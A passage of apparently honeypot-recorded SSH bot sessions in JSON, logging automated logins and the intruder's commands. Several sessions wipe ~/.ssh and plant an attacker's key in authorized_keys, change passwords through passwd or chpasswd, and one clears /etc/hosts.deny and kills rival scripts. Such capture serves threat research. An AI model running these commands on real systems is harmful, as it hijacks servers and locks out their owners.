AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:53:26.276799+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:53:26.558056+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:53:26.902943+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password1234\\n9O9owPmEQk7H\\n9O9owPmEQk7H\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:53:27.237942+00:00","kind":"input","latency_ms":null,"data":"echo \"Password1234\\n9O9owPmEQk7H\\n9O9owPmEQk7H\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:53:27.572390+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:53:27.973597+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:53:28.309869+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:53:29.592060+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:53:29.942963+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:53:31.211728+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:53:31.549623+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:53:32.071556+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:53:32.405674+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:53:33.128611+00:00","kind":"output","latency_ms":null,"data":" 04:53:33 up 7 days, 1:43, 0 user, load average: 0.34, 0.36, 0.37\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:53:33.463518+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:53:34.050248+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:53:34.385298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:53:35.188149+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:53:35.524106+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:53:36.067496+00:00","kind":"output","latency_ms":null,"data":"top - 04:53:36 up 7 days, 1:43, 0 user, load average: 0.34, 0.36, 0.37\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:53:36.403274+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:53:36.969876+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:53:37.310827+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:53:37.707734+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:53:38.044564+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:53:38.472218+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-27T04:53:38.808103+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:53:39.699854+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:53:40.033780+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:53:40.974062+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftpuser","password":"Password1234","method":"password","accepted":true,"tier":"other"}]} {"id":"e83547c0-2414-4b73-80d7-06a92ebbc97c","name":"whispering-mindful-meerkat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":39890,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:53:24.408503+00:00","ended_at":"2026-08-27T04:53:26.175558+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b5bba471-99e3-423c-8ba7-37da07b04f53","name":"electric-keen-caracal","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":39874,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:53:22.580290+00:00","ended_at":"2026-08-27T04:53:23.749603+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b7a65124-2460-4337-9d44-8de2fa829983","name":"austere-brazen-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":38690,"username":"alex","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":312,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:51:35.348477+00:00","ended_at":"2026-08-27T04:51:37.531776+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2231,"events":[{"seq":1,"at":"2026-08-27T04:51:17.203110+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:51:17.510536+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:51:22.709827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:51:23.318442+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:51:23.630225+00:00","kind":"input","latency_ms":null,"data":"echo -e \"test123\\nfrmIPvEhDNvb\\nfrmIPvEhDNvb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:51:23.940164+00:00","kind":"input","latency_ms":null,"data":"echo \"test123\\nfrmIPvEhDNvb\\nfrmIPvEhDNvb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:51:24.251707+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:51:24.546806+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:51:24.856279+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:51:25.898793+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:51:26.213066+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:51:27.393102+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:51:27.705833+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:51:28.172938+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:51:28.485885+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:51:28.866366+00:00","kind":"output","latency_ms":null,"data":" 04:51:28 up 7 days, 1:41, 0 user, load average: 0.16, 0.16, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:51:29.178151+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:51:29.588037+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:51:29.900203+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:51:30.285436+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:51:30.606110+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:51:31.004303+00:00","kind":"output","latency_ms":null,"data":"top - 04:51:31 up 7 days, 1:41, 0 user, load average: 0.16, 0.16, 0.17\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:51:31.314740+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:51:31.740642+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:51:32.055041+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:51:32.842666+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:51:33.153181+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:51:33.729402+00:00","kind":"output","latency_ms":null,"data":"alex"},{"seq":29,"at":"2026-08-27T04:51:34.040573+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:51:35.038229+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:51:35.349297+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:51:37.437494+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alex","password":"test123","method":"password","accepted":true,"tier":"other"}]} {"id":"940211c1-638f-4edc-9833-7d503d0daddc","name":"barren-austere-oriole","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":38702,"username":"alex","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:51:20.671531+00:00","ended_at":"2026-08-27T04:51:22.607667+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"alex","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"100a10b2-5b25-4130-9e1f-4a5df4b996ad","name":"quartz-tranquil-dingo","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":38698,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:51:18.220260+00:00","ended_at":"2026-08-27T04:51:20.045369+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6605346a-8a20-4279-a7a3-5fd74ee2e6f4","name":"curious-ashen-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37838,"username":"sammy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:49:31.561384+00:00","ended_at":"2026-08-27T04:49:32.739291+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2225,"events":[{"seq":1,"at":"2026-08-27T04:49:13.885808+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:49:14.208822+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:49:18.371753+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:49:18.834650+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:49:19.153229+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123123123\\nk3A58dVTseTF\\nk3A58dVTseTF\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:49:19.473427+00:00","kind":"input","latency_ms":null,"data":"echo \"123123123\\nk3A58dVTseTF\\nk3A58dVTseTF\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:49:19.792545+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:49:20.276456+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:49:20.603754+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:49:21.595565+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:49:21.921683+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:49:23.039720+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:49:23.361751+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:49:24.072795+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:49:24.392021+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:49:24.688248+00:00","kind":"output","latency_ms":null,"data":" 04:49:24 up 7 days, 1:39, 0 user, load average: 0.12, 0.12, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:49:25.008440+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:49:25.275514+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:49:25.597410+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:49:26.101118+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:49:26.422198+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:49:27.155908+00:00","kind":"output","latency_ms":null,"data":"top - 04:49:27 up 7 days, 1:39, 0 user, load average: 0.12, 0.12, 0.08\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:49:27.476297+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:49:28.080418+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:49:28.402111+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:49:29.133545+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:49:29.452595+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:49:29.746846+00:00","kind":"output","latency_ms":null,"data":"sammy"},{"seq":29,"at":"2026-08-27T04:49:30.067084+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:49:31.241166+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:49:31.562162+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:49:32.643191+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sammy","password":"123123123","method":"password","accepted":true,"tier":"other"}]} {"id":"626c5aa7-65f4-41d6-bf9d-52e74d65a505","name":"eager-daring-addax","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":57458,"username":"sammy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:49:16.913803+00:00","ended_at":"2026-08-27T04:49:18.278519+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sammy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f6c09eca-5ffc-499d-b9df-969afa7cc01b","name":"marine-grassy-boar","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":37852,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:49:14.954393+00:00","ended_at":"2026-08-27T04:49:16.291831+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"99818851-7ea4-4d62-913b-65273d776767","name":"barren-airy-dolphin","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42160,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:47:24.670832+00:00","ended_at":"2026-08-27T04:47:26.373253+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T04:47:06.168694+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:47:06.487632+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:47:10.404145+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:47:10.780741+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:47:11.099955+00:00","kind":"input","latency_ms":null,"data":"echo \"root:nsXKEQLJ6aVI\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:47:11.422240+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:47:11.741245+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:47:12.383234+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:47:12.706751+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:47:13.850243+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:47:14.175734+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:47:15.371293+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:47:15.706092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:47:16.517742+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:47:16.842857+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:47:17.693091+00:00","kind":"output","latency_ms":null,"data":" 04:47:17 up 7 days, 1:37, 0 user, load average: 0.1, 0.12, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:47:18.016157+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:47:18.805219+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:47:19.130775+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:47:19.406605+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:47:19.729999+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:47:20.265160+00:00","kind":"output","latency_ms":null,"data":"top - 04:47:20 up 7 days, 1:37, 0 user, load average: 0.1, 0.12, 0.07\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:47:20.592947+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:47:21.458352+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:47:21.780925+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:47:22.047017+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:47:22.371223+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:47:23.169150+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:47:23.493761+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:47:24.348460+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:47:24.672555+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 